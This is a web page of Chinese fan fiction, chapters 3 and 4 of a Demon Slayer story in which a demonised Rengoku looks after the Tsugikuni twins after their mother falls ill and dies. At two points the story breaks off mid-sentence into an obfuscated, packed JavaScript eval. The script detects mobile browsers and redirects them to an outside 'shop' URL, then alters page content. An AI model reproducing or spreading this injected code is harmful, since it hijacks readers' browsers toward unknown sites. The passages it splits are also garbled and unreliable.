《【鬼灭】鬼化炎柱在线求生》 3. 第三章 是优子夫人。 杏寿郎睁开眼睛,嗯了一声,算是回应,随后他竟看见夫人带着两个孩子走进了寺庙。 那两个孩子,一个额头上带着火焰形状的斑纹,耳朵上戴着日轮花札耳饰,脸上的神情有种不属于孩子的淡漠。另一个孩子虽然长相相似,但明显活泼多了,只是他在感受到杏寿郎身上恐怖的气息之后,表现的有些畏缩。 “母亲,那是谁?” 面对长子的疑问,优子夫人摸了摸他的头,介绍说:“这是我们的恩人,他叫杏寿郎,没有他我们可能就都活不下来了。” 继国家的长子,继国岩胜听后陷入了沉默,仅三岁多的年纪,还不能很好的理解母亲话中的意思,只能简单判断他是他们的恩人。 杏寿郎自然注意到了那个孩子的恐惧,但他没点破,只是扬起了一个看起来阳光温暖的笑容,大声说:“唔姆,你好!” 兴许是这个笑容冲淡了继国岩胜的恐惧,他朝杏寿郎点了点头,而后迅速藏在了优子夫人身后。 倒是继国缘一始终维持着一副淡淡的死人脸,从他们见面到现在都没怎么变化。 杏寿郎当然不会忽略他,也同样和他打了声招呼。 但比起略显羞涩的哥哥,他的反应可谓是非常平淡,甚至只是抬头看了一眼对方,整个人一副自闭儿童的感觉。 杏寿郎也不在意,而是冲他俩友好地微微一笑。 优子夫人轻轻叹了口气,吩咐继国岩胜带着弟弟去门外玩耍,明显是有话对杏寿郎说。 而在两个孩子出去后,优子夫人终于承受不住压力,眼角蓄满了泪水。 杏寿郎心下一惊,连忙问道:“发生什么事了,夫人?” —— 后来杏寿郎才知道,原来在他昏迷期间发生了那么多事情。 当初优子夫人生下双胞胎时,那位家主竟只因双生子即为不详的传言,就要摔死自己的小儿子,更是做了过几年将缘一送往寺庙的打算。 优子夫人舍不得缘一,她后悔自己当初看错了人,害得缘一从出生起就这么苦。 而又因为她执意要留下缘一,家主十分不满,导致岩胜这孩子从小就离开了她,被养在他父亲身边,小小年纪肩膀上就承担了不属于他的重量。 优子夫人说着说着就哭了,但她很快又擦干眼泪,自嘲地说:“抱歉,本来是想带他们来您这里玩会的,现在倒是出丑了。” 杏寿郎笑了笑,安慰说:“怎么会!说起来我们真的很有缘分,我很高兴能看见两个孩子!” 他看出来了,优子夫人需要一个发泄的缺口,而他作为他们的“恩人”,自然可以充当这个缺口。 他贴心地充当起了倾听者,听优子夫人讲述兄弟俩成长中的故事。 这是杏寿郎和两个孩子第一次见面,但不是最后一次。 每隔一段时间,优子夫人就会带着两个孩子来这里玩,但大多数时候是白天过来,因此杏寿郎不会出去,只是在屋里陪他们玩一些游戏。 继国岩胜从最开始的戒备,到现在非常喜欢和杏寿郎在一块玩。 他准备的那些游戏是他从未见过的,对继国岩胜来说非常新奇,也就慢慢淡化了对他气息的恐惧。 而缘一因为哥哥的缘故,也很喜欢和杏寿郎在一起。 只可惜,日子不会一直这么平静的过下去。 一年后的某次见面,杏寿郎发现了优子夫人重病缠身的事实。 本来夫人掩饰的很好,甚至连杏寿郎都没看出她正饱受病痛折磨,如果不是缘一时刻准备支撑母亲身体的动作,杏寿郎也不会发现这个细节。 尽管这样的动作看起来很像撒娇,但杏寿郎可以肯定,缘一是不会这样做的。 因此他趁优子夫人在唱歌哄岩胜睡觉的空当,戳了戳发呆的缘一的肩膀。 “缘一,可以借一步说话吗?” 继国缘一缓慢地眨了眨眼睛,而后站起身,跟着杏寿郎来到里间,那双红色的眼睛直勾勾盯着杏寿郎,似是要听听杏寿郎想说什么。 “唔姆……”杏寿郎酝酿着措辞,最后决定直说,“你应该能感受得到,你的母亲,身体情况不是很好。” 缘一毕竟还是个小孩子,他在遇到这种突发情况时还不能很好地处理,只是用着自己的方式守护母亲。 他看起来有些震惊,眼眸稍稍睁大了些,后来又沉默了很长时间。 杏寿郎耐心地等待着,直到他终于听到了缘一的声音:“你也能看出来吗?” 缘一几乎从不开口说话,因此显得有些语出惊人。 杏寿郎哈哈一笑,开了个小玩笑:“是啊,毕竟我是大人!” “母亲的呼吸很乱……”缘一垂下头,似是在思考如何准确描述那种感觉,“她很痛苦,我抱着她,这样她就会好受一点。” 这样啊。 杏寿郎眨了眨眼睛,很快便明白了缘一的想法。但缘一究竟是怎么看出来的,杏寿郎暂时还想不通。 他又问:“你希望哥哥知道吗?” 缘一这时候是真的震惊了,一贯平静的眼睛都睁大了很多,但很快,他又恢复了以往的状态,摇了摇头:“我不知道。” 杏寿郎蹲下,尽量让自己的视线与缘一平视。 他拍了拍缘一的肩膀,语重心长地说:“你能在母亲受病痛折磨时保护她,这很好。不过缘一,你要知道,在这件事上哥哥也有知情的权利,不然之后他会更伤心的!” 缘一再次沉默了,正垂下头努力用他的小脑袋瓜思考着什么。 在缘一思考的时候,杏寿郎也在想一些事情。 他的血鬼术,可不可以治疗夫人的病呢? 这样的想法一旦产生,便萦绕在心头挥之不去。 但他不能去赌这一丝可能性,毕竟血鬼术需要消耗大量能量,若是失控了会很糟糕。 因此他需要先和夫人聊一聊。 —— 后来,在一个恬静的午后,优子夫人拒绝了杏寿郎的提议,她说,自己的病是无解了,不需要再麻烦他以身犯险。 “我只希望……恩人能在我去世之后,帮我照顾我的两个孩子。还有缘一,我不希望他被送去寺庙,所以,求您之后带着缘一离开继国家……” 优子夫人突然在杏寿郎面前跪下,杏寿郎吓了一跳,连忙去扶。 她却执意不肯起来,杏寿郎连忙说:“我答应你,请先起来吧,夫人!” 优子夫人叹了口气,在杏寿郎的搀扶下起身。 她扭头看向在一旁玩耍的兄弟俩,眼睛里闪烁着泪花。 “岩胜,缘一,你们过来。” 听到母亲的呼唤,继国岩胜连忙拉着缘一过来,然后他们就被她一把抱住。 “母亲?” 继国岩胜忽然有种不好的直觉,然后他就听见了母亲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218752|197475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话: “很抱歉,缘一,岩胜,妈妈别无选择,只能让你们暂时分离,但是能有你们这样的儿子,我真的很幸福……” 优子夫人絮絮叨叨地说着,话中既有对他们的嘱托,又有对未来生活的期盼,她知道自己没有几年可活了,因此在临近分别时,才近乎贪婪地享受着和两个儿子最后的温情时光。 杏寿郎目睹了这温情的一幕,耳畔好像也响起了一位女性的声音,似乎在很久很久之前,某个恬静的午后,那个人也曾这样抱着他,用隐含哭腔的声音诉说着对他的期许…… 回过神来的时候,杏寿郎才发现自己的眼睛竟也跟着湿润了。 为什么…… 他长吁一口气,迫使自己抛开纷杂的思绪,在夫人跟两个孩子说完话,把继国缘一带到他面前时,认真而严肃地承诺道: “我会照顾好他们的。” 继国缘一抬起头来,一双淡漠出尘的红色眼眸注视着杏寿郎,片刻之后,才垂下脑袋。 优子夫人用手背揩去了眼角的泪水,随后对杏寿郎鞠了一躬:“谢谢您,但是此次出行我是瞒着家主的,现在必须带着岩胜回去了。” 她把准备的钱财交到杏寿郎手中,杏寿郎犹豫了下,最终还是选择收下。 继国岩胜从母亲说话时就觉得怪怪的,这时他猛然间意识到了什么,一股莫名恐惧的情绪油然而生,对母亲大声抗议道:“等等母亲,我们带上缘一啊!” 优子夫人却摇了摇头,只说了句:“我们走吧。” 继国岩胜想不通缘一留下的原因,又不敢违抗母亲的命令——他能感受到母亲的态度很决绝,以至于一时间有些反应不过来。 而且他们明明从不在这里过夜的,为什么现在要把缘一留下来?直到母亲开始催促,他被她牵着手带出了寺庙,只来得及和缘一说:“我还会回来的,缘一!” 继国缘一对哥哥点了点头,像是和哥哥做了一个关于分别的约定。 —— 夫人离开后,杏寿郎带着继国缘一回到了自己的住处。 曾经的那座破庙,因为杏寿郎的定期打扫,现在多少能看的过去。但现在他身边多了一个孩子,这座庙显然不再适合两人居住了。 优子夫人应该是想到了这一点,因此交给杏寿郎的钱非常多,足以帮他盖一座不错的房子。杏寿郎却拿着这些钱陷入了沉思——他潜意识里的钱应该不是这个样式的才对。 这份违和感始终萦绕在心头挥之不去,联合自己先前对年代的怀疑,杏寿郎不免产生了一个大胆的猜测——也许,他不属于这里。 ‘唔姆!还是不要想那么多了!’ 在头部产生刺痛之时,杏寿郎深吸一口气,将脑海里杂乱的思绪抛开。考虑到天亮之后自己就无法出去了,他决定趁今夜把缘一的食物准备好。 这样想着,他对缘一说:“这附近有一条山泉,我去抓一些鱼回来。现在天很晚了,你不用等我,先去睡觉吧!” 缘一也不说话,只摇了摇头。 “是还不困吗?” 缘一又缓慢地点了点头,“我和你一起。” 杏寿郎思考了下,最后决定带着缘一一起,当然,是杏寿郎负责抓,缘一还是个小孩子,只需要看着就好了。 出发之前他临时找了个盆,准备用来装鱼。继国缘一则在一旁静默地看着杏寿郎忙碌,最后默默往兜里塞了一把石子。 4.第四章 这条溪水从远处山坡上流下来,汇聚到这里,形成了一条小河,河水不深,清澈见底,平时只透过水面,就能看见水下懒洋洋游动的鱼。 杏寿郎牵着继国缘一的手,带着他来到岸边,动手将盆灌满河水。 他把装满水的盆放到缘一脚下,笑着说:“麻烦缘一帮我照看一下,我要下水了!” 继国缘一点了点头,顺从地坐在草坪上守着,等待对方抓鱼回来。期间他拿出了自己兜里的石子,一下一下地抛着玩。 杏寿郎挽起裤脚,小心地踏进水里,向着河中心走去。这时候他较好的夜视能力发挥了作用,能清晰地看见哪个地方有鱼。他观察了一会,而后找准时机,迅速向个头最大的那条鱼捉去,只听“哗啦——”一声,杏寿郎成功捉到了那条鱼。 大鱼猛烈地甩着尾巴,试图利用自身光滑的鳞片,从他手掌里滑出去。不过杏寿郎显然意识到了这点,下意识延长了自己的指甲,将这条鱼牢牢扣住。 幸运的是这条鱼个头很大,供缘一一个孩子吃绰绰有余,不过杏寿郎还是在水里多待了一会,又捉上来几条。 ‘这些应该足够了。’ 这样想着,杏寿郎上了岸,他把鱼放进盆里,对缘一说:“吃烤鱼可以吗,缘一?” 继国缘一点了点头。 得到肯定答复,杏寿郎便把裤脚放下,端着盆领着继国缘一回去,他一边走,一边回忆附近生长的野生植物,不知不觉间便回到了那座庙。 杏寿郎吩咐缘一在庙里等着,而后采了几颗野花椒当佐料,回来后便开始尝试钻木取火。 但是…… 杏寿郎高估了自己的野外求生技能,他用了将近半夜的时间,也没能将柴火堆点燃,每一次都是把手磨得酸疼,却只换回了几道没用的黑烟,连火星都没冒出来过。 杏寿郎:……意料之外的情况。 沉思片刻,杏寿郎试探地释放出了血鬼术——是那一次用于攻击恶鬼的火焰,青炎不能用于燃烧材料,也许这种火焰可以呢? 好在事实顺应了他的想法,柴火堆最终在血鬼术的作用下烧起来了,杏寿郎连忙把处理好的鱼放到火上烤。 此时缘一因为撑不住困倦睡着了,靠在草垛旁缩成小小的一团。当烤鱼熟透的时候,杏寿郎看到的就是这样一幕。 他没有选择立刻叫醒他,而是捏了一口鱼肉,放入口中尝了尝。 只是,口感很糟糕。 入口之后,舌头首先感受到的是一股浓郁的血腥味,之后才是毫无味道的鱼肉,鱼肉的口感倒是很嫩,但是组合起来真的非常难吃。 食之无味,弃之可惜。 杏寿郎忽然就沉默了。 思考许久,最终他还是默默把这条鱼扔了。 不过在天亮之前,优子夫人的仆从及时送来了一些物资,都是些便于储存的食物,如大米,咸鱼,干菜之类的东西,另外还有几件厨具,和一封给杏寿郎的信。 仆从送完东西就匆匆离开了,杏寿郎先是把东西放好,随后才拆开了信封。 信上说,优子夫人知道自己时日无多,希望等缘一再大一些,杏寿郎能带他离开这个地方。 “另外,我的葬礼请不要带缘一过来,我不想他被家主注意。” 杏寿郎看完之后,默默记下了这些事,不过在离开之前,他必须先学会生火做饭。 当他终于用大米和咸鱼熬好一锅粥的时候,天色已经很明亮了,继国缘一闻到饭菜的香味,顺势睁开了眼睛。 “来!缘一喝点粥吧!” 杏寿郎将碗筷递给继国缘一,笑吟吟地看着他。 继国缘一顺从地接过去,捧着碗小口小口地喝着粥,杏寿郎摸了摸他的头顶,而后坐到一边,闭着眼睛休息。 但杏寿郎不知道的是,其实继国缘一觉得这粥实在算不上好喝。 —— 没想到,那天优子夫人的到来,竟成了和她的最后一面。 在她把缘一托付给杏寿郎之后不久,他们就听到了夫人过世的消息。 只是,碍于夫人信上的嘱托,杏寿郎只是告知了缘一这件事,并没有带他去拜访继国家。 直到那一天,继国岩胜独自跑来找自己的弟弟玩,至此命运的齿轮开始转动…… —— 傍晚时分,杏寿郎正半蹲在地上,尝试着用竹子制作桌子。他循着记忆里桌子的样子,努力把一摞竹片拼在一起。 继国缘一则帮着打打下手,两人正全神贯注地忙着手中的活,完全没注意门口站了一个人。 直到继国岩胜开口叫了缘一的名字,他们才发觉原来他站在那里很久了。 杏寿郎放下手中的东西,惊讶地问:“你怎么一个人来了?” 继国府邸到这里的距离,对一个小孩子来说还是太远了,杏寿郎没想到继国岩胜会独自跑来这里。 继国岩胜垂下眼眸,却没有正面回答这个问题,他只是说了一句:“父亲留给我的课业,我已经超前完成了,他说我可以出去玩一会。” 言外之意就是,趁着这得来不易的休息时间,他选择了来这里找缘一。 “你们在做什么?” 面对继国岩胜的疑问,杏寿郎侧过身体,向他展示自己和缘一的杰作。 继国岩胜看了一眼那用竹子做的,较为抽象的物体,沉思片刻,试探地问:“是凳子吗?” “其实是桌子,”杏寿郎轻咳一声,为自己找补道,“不过看起来做得稍微小了一点!” 继国岩胜忍不住噗嗤一声笑了出来,他走到缘一身边,问他:“这么久没见……我们去溪边玩会吧?” 缘一认真地点了点头,他歉意地看了一眼杏寿郎,随后便跟着岩胜离开了这里。 望着他们离去的背影,恍惚间杏寿郎又想起了一些相似的画面,他似乎看到了自己小时候,牵着……弟弟的手? 他们在阳光下奔跑,做着和这对双生子类似的事情。那一瞬间,杏寿郎拼命想看清弟弟的脸,可不等他看清对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259130|197475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸,视线却在此刻重新聚焦,那副画面也如云雾一样消散开来。 杏寿郎愣了一下,而后缓缓抬起手掌,盯着右手掌心许久。仿佛在不久之前,他就已经牵着弟弟的手,一起在阳光下奔跑。 但是这一次,他除了想起自己有个弟弟之外,其他的事情还是一点也想不起来,甚至连弟弟的名字都叫不出来。 杏寿郎叹了口气,抛开脑海里纷杂的思绪,继续制作这张桌子。 在太阳即将落山的时候,继国岩胜和继国缘一从外面回来了。 大概是因为情绪太过激动,两个人的脸色红扑扑的,呼吸节奏都快了许多。继国岩胜笑着揽起缘一的肩膀,约定道:“下一次如果再打水漂,我一定会赢过你的哦,缘一!” 缘一并未抬头,只是郑重地“嗯”了一声,神情专注地抚摸着手心里的竹笛。尽管那支竹笛做工略显粗糙,他还是将其视若珍宝,并小心翼翼地把它收起来。 “不止下一次,以后都是哥哥赢。” 听到这句话时,继国岩胜只觉得哪里怪怪的,难道说他要刻意让自己么?他脸色别扭了下,又迅速恢复如初。 此刻缘一还沉浸在收礼物的兴奋情绪之中,并未察觉到哥哥小小的别扭心理。 杏寿郎敏锐地注意到了继国岩胜的表情变化,只稍加思索,便明白了他的想法。 于是,杏寿郎轻轻拍了拍缘一的肩膀,调侃道:“你可不能为了让哥哥赢而刻意让分啊。” 听到这句话,缘一随即露出了迷茫的神情,思索片刻,他才极为认真地说:“哥哥很厉害,我不需要让分。” “那为什么……” 杏寿郎装作不明白的模样,故意拉长语调,引导继国缘一说下去。 “因为哥哥以后会更强,所以哥哥会赢。” “原来是这样啊!” 杏寿郎瞄了一眼继国岩胜的反应,见他一副若有所思的表情,连忙感叹一声,迅速转移了话题:“好了,去吃饭吧!等吃完饭,我们送你回去。” “我一个人回去就可以!” 不知为何,听到这句话时,继国岩胜肉眼可见地慌张,或许是觉得自己表现的太突兀了,他又平复好情绪,重新说了一句: “我自己回去就可以,路途不是很远。” 杏寿郎不同意:“不行,太危险了!” 继国岩胜还想再解释些什么,杏寿郎却摇了摇头,严肃道:“岩胜,关于这件事,我是不会退让的!” 继国岩胜一听,急得像热锅上的蚂蚁,可当他抬头看见杏寿郎那过于严肃的神情时,他最终还是放弃了说服他。 只是……此次他来找缘一玩,其实并没有得到父亲的同意,他是偷跑出来的。 本来他想着回去的时候,大不了再去钻那个洞,现在看来是肯定不行了。 如果父亲知道了这件事……继国岩胜叹了口气,尽管他已经做好了被罚的准备,但他还是希望,父亲能看在他课业完成的很好的份上,从轻处罚。